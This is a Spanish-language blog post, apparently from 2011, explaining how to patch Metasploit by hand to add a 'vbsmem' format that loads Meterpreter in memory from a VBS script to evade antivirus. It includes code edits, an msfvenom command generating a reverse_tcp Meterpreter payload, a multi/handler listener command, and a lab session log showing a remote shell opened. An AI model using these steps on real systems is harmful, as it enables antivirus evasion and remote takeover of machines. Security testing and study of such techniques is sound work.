Parcheando VBSMem en Metasploit

Hace algunas semanas publiqué una serie de posts [1] [2] [3] [4] que hablaban de una posible manera de saltarse la detección de un antivirus mediante el uso de Metasploit. En el último de ellos hablaba de que había utilizado una versión en desarrollo de msfencode para generar un fichero Visual Basic Script (VBS) que contenía el cuerpo del Meterpreter y que lo cargaba en memoria directamente, sin alertar al antivirus de lo que estaba pasando.

Pues bien, varias personas me han escrito correos y comentarios en el blog comentando que no acaban de ver como aplicar el parche, así que me he decidido a poner este post explicándolo, así que allá vamos:

En el Redmine de Metasploit (el sistema que usan para que les reporten los fallos) podemos leer en este ticket como se está desarrollando una opción de encoding adicional llamada vbsmem, y que como acabamos de comentar aporta la funcionalidad que necesitamos para saltarnos a este antivirus sobre el que hacíamos pruebas. El parche lo podemos descargar de AQUÍ, para ser aplicado sobre la revisión 11873 de Metasploit, mientras que en este momento tengo la revisión 13129, así que podría resultar peligroso aplicar el parche directamente, porque podríamos dejar los ficheros afectados inservibles.

En lugar de eso, vamos a pegarle un vistazo al PARCHE, y veremos que hace modificaciones sobre dos ficheros:

1. Añade una función to_win32_vbsmem al fichero lib/msf/util/exe.rb
2. Añade una opción vbsmem al switch en el que se comprueba la opción del tipo de encoding para llamar a esta función que acabamos de crear.
3. Añade una opción vbsmem a la lista de formatos de la ayuda (o eso parece)
4. Crea un nuevo fichero data/templates/vbsmem.vbs, que es una plantilla para la creación de los ficheros.

Son modificaciones bastante sencillas, así que podemos aplicarlas a mano sobre nuestra versión de los ficheros, así nos aseguramos que no corrompemos nada ni nada parecido. Vamos a ello:

1. Ante todo, una copia del original, solo por si acaso:

$ cp lib/msf/util/exe.rb lib/msf/util/exe.rb-original

2. Ahora editamos el fichero con "vi" (o con cualquier otro editor) y buscamos la cadena "def self.to_exe_vbs", que es la definición de la función inmediatamente anterior a la nueva función que vamos a crear:

3. Añadimos la función to_win32_vbsmem copiándola y pegándola del parche. Si fuera más grande podríamos haber utilizado el comando "sed" o equivalente para eliminar el símbolo "+" del principio de las lineas, pero en este caso solo son unas pocas lineas, podemos hacerlo a mano.

4. Ahora buscamos la cadena "/when 'vbs'" y añadimos lo siguiente (lo que está en negrita):

when 'vba'

    exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)

    output = Msf::Util::EXE.to_exe_vba(exe)

when 'vbsmem'

    output = Msf::Util::EXE.to_win32_vbsmem(framework, code, exeopts)

when 'vbs'

    output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))

5. Buscamos ahora la cadena "self.to_executable_fmt_formats", bajo la cual añadiremos lo siguiente (en negrita):

def self.to_executable_fmt_formats

    ['dll','exe','exe-small','elf','macho','vba','vbsmem','vbs','loop-vbs','asp','war']

end

Ya tenemos el fichero lib/msf/util/exe.rb listo, ahora tenemos que crear el fichero data/templates/vbsmem.vbs con la información que hay en el parche, pero quitándole los símbolos "+", igual que antes.

$ cat vbsmem-1.2.1.patch | tail -657 | sed 's/+//' > data/templates/vbsmem.vbs

Parece que ahora ya lo tenemos todo, así que vamos a generar un Meterpreter en VBSMem para comprobar que todo nos ha funcionado correctamente.

Primero miramos la ayuda de MSFVenom o MSFEncode, y veremos algo así:


$ ./msfvenom --help
Usage: ./msfvenom [options]


Options:
    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload
    -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbsmem, vbs, loop-vbs, asp, war
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       [architecture]  The architecture to use
        --platform   [platform]
                                     The platform of the payload
    -s, --space      [length]        The maximum size of the resulting payload
    -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'
    -i, --iterations [count]         The number of times to encode the payload
    -c, --add-code   [path]          Specify an additional win32 shellcode file to include
    -x, --template   [path]          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -h, --help                       Show this message

La opción está claro que nos aparece, a ver si además de aparecer funciona:

$ ./msfvenom --payload windows/meterpreter/reverse_tcp --format vbsmem LHOST=172.16.146.1 > meterpreter.vbs

Ahora ponemos a la escucha un handler para que reciba la conexión reversa:

$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 E

Por último, nos llevamos el VBS a un servidor windows y lo ejecutamos, a ver que pasa:


[*] Started reverse handler on 0.0.0.0:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 172.16.146.128
[*] Meterpreter session 1 opened (172.16.146.1:4444 -> 172.16.146.128:1049) at Wed Jul 13 23:33:04 +0200 2011
meterpreter > sysinfo
System Language : es_ES
OS              : Windows XP (Build 2600, Service Pack 3).
Computer        : DESKTOP
Architecture    : x86
Meterpreter     : x86/win32


Parece que hemos conseguido parchear correctamente nuestro Metasploit para emplear la salida vbsmem, que empleábamos en anteriores posts para evadir a los antivirus.